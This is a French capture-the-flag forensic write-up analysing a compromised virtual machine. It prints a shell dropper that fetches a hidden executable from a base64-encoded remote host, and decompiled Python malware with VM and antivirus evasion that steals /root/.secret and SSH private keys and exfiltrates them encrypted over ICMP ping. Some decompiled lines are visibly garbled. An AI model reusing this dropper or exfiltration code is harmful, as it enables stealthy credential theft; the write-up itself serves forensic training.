Mission 3 - Forensic

Mission 3 : Forensic #

Brief de mission #

La nouvelle vient d’être annoncée : l’entreprise Quantumcore a été compromise, vraisemblablement à cause d’un exécutable téléchargé sur un appareil issu du shadow IT, dont l’entreprise ignorait l’existence.

Par chance — et grâce à de bons réflexes cyber — un administrateur système a réussi à récupérer une image de la machine virtuelle suspecte, ainsi qu’un fichier de capture réseau (PCAP) juste avant que l’attaquant ne couvre complètement ses traces. À vous d’analyser ces éléments et comprendre ce qu’il s’est réellement passé.

L’entreprise vous met à disposition :

  • L’image de la VM compromise
  • Le fichier PCAP contenant une portion du trafic réseau suspect

Premiere recherches #

En regardant les logs et en arrivant sur la machine, on s’aperçoit que :

  • L’attaque a eu lieu entre 14:02 et 14:12
  • l’utilisateur fournit a les droits root sur la machine
  • il y a eu plusieurs telechargement de fichiers, notamment un fichier install_npdate.sh qui contient du code malveillant.

Analyse de install_npdate.sh #

On observe le code suivant :


for _ in $(seq 1 $__CNT); do
    __R="/opt/$(tr -dc A-Za-z0-9 </dev/urandom | head -c 8)"
    mkdir -p "$__R"
    __TMPF+=("$__R")
done

__DST="${__TMPF[$RANDOM % ${#__TMPF[@]}]}"
#
__DL=$(echo "aHR0cDovL3Zhc3RhdGlvbi5udWxsOjgwODAvbnRwZGF0ZV91dGlsLmNweXRob24tMzcucHlj" | base64 -d)
# 
__DLL=$(echo "aHR0cDovL3Zhc3RhdGlvbi5udWxsOjgwODAvcmVhZG1lLm1k" | base64 -d)

if command -v curl >/dev/null 2>&1; then
    curl -fsSL "$__DL" -o "$__DST/.sys"
    curl -fsSL "$__DLL" -o "$__DST/.rdme"
elif command -v wget >/dev/null 2>&1; then
    wget -q "$__DL" -O "$__DST/.sys"
    wget -q "$__DLL" -O "$__DST/.rdme"
else
    echo "[ntpdate] Error: Neither curl nor wget found."
    exit 127
fi

chmod +x "$__DST/.sys"

Ce morceau de code installe un executable python dans ‘/opt/????/.sys‘ nous cherchons donc cet executable et passons à la décompilation.

Decompilation #

Le fichier .pyc compilé, une fois décompilé, donne le résultat suivant :

# uncompyle6 version 3.9.2
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.7.3 (default, Mar 21 2025, 13:10:44) 
# [GCC 12.2.0]
# Embedded file name: nightshade.py
# Compiled at: 2025-03-24 11:04:51
# Size of source mod 2**32: 2358 bytes
import os, subprocess, psutil, base64
from Crypto.Cipher import AES
__k = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
__v = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")
__d = "37e0f8f92c71f1c3f047f43c13725ef1"

def __b64d(s):
    return base64.b64decode(s.encode()).decode()


def __p(x):
    return x + bytes([16 - len(x) % 16]) * (16 - len(x) % 16)


def __u(x):
    return x[None[:-x[-1]]]


def __x(h):
    c = AES.new(__k, AES.MODE_CBC, __v)
    return __u(c.decrypt(bytes.fromhex(h))).decode()


def __y(s):
    c = AES.new(__k, AES.MODE_CBC, __v)
    return c.encrypt(__p(s.encode())).hex()


def __chk_vm():
    return False
    try:
        z = open("/sys/class/dmi/id/product_name").read().strip().lower()
        for q in (b'VmlydHVhbEJveA==', b'S1ZN', b'UVFNVQ==', b'Qm9jaHM='):
            if base64.b64decode(q).decode().lower() in z:
                print("ERR VM")
                return True

    except:
        pass

    return False


def __chk_av():
    targets = [
     b'Y2xhbWQ=', b'YXZnZA==', b'c29waG9z', b'RVNFVA==', b'cmtodW50ZXI=']
    try:
        for p in psutil.process_iter(attrs=["name"]):
            n = (p.info["name"] or "").lower()
            for b64av in targets:
                if base64.b64decode(b64av).decode().lower() in n:
                    print("ERR AV")
                    return True

    except:
        pass

    return False


def __exf(path, dst, size=15):
    if not os.path.exists(path):
        return False
    d = open(path, "rb").read()
    segs = [d [i[:i + size]] for i in range(0, len(d), size)]

    for seg in segs:
        try:
            payload = AES.new(__k, AES.MODE_CBC, __v).encrypt(__p(seg)).hex()
            # ping -c 1 -p payload 
            cmd = [__b64d("cGluZw=="), __b64d("LWM="), __b64d("MQ=="), __b64d("LXA="), payload, dst]
            subprocess.run(cmd, stdout=(subprocess.DEVNULL), stderr=(subprocess.DEVNULL))
        except:
            continue

    return True


def __main():
    if not __chk_vm():
        return
        if __chk_av():
            return
    else:
        __kll = [
         "/root/.secret",
         os.path.expanduser("~/.ssh/id_rsa"),
         "/root/.ssh/id_rsa"]
        for f in __kll:
            if os.path.exists(f):
                __exf(f, __x(__d))

        _kkoo = "/root/.secret"
        if os.path.exists(_kkoo):
            try:
                print("clean")
#                os.remove(_kkoo)
            except Exception as e:
                try:
                    pass
                finally:
                    e = None
                    del e


if __name__ == "__main__":
    __main()

On observe que cet executable exfiltre des données vers une autre machine. Le fichier /root/.secret, qui doit contenir notre drapeau, est envoyé par ICMP. On observe également que le contenu est chiffré mais l’IV et la clé sont disponibles.

En extrayant les données des paquets via la capture .pcap, on tombe effectivement sur le drapeau que l’on déchiffre avec le code suivant :

from Crypto.Cipher import AES
import base64

def __b64d(s):
    return base64.b64decode(s.encode()).decode()


key = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
iv = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")
HEX= bytes.fromhex("37e0f8f92c71f1c3f047f43c13725ef1")
encoding = "utf-8"


def decrypt(crypted) : 

    cipher = AES.new(key, AES.MODE_CBC, iv)
    # Tronquer à un multiple de 16
    valid_len = len(crypted) - (len(crypted) % 16)
    raw = crypted[:valid_len]

    # Déchiffrement
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(raw)

    # Suppression du padding PKCS#7
    pad_len = decrypted[-1]
    if pad_len > 0 and pad_len <= 16:
        decrypted = decrypted[:-pad_len]

    # Décodage en UTF-8
    try:
        text = decrypted.decode("utf-8")
    except UnicodeDecodeError:
        text = decrypted.decode("utf-8", errors="replace")

    return text


print(decrypt(HEX))


with open("raw_payloads.txt.head","r") as f :
    for l in f.readlines() : 
        payload = l.strip()
        
        print(decrypt(bytes.fromhex(payload)))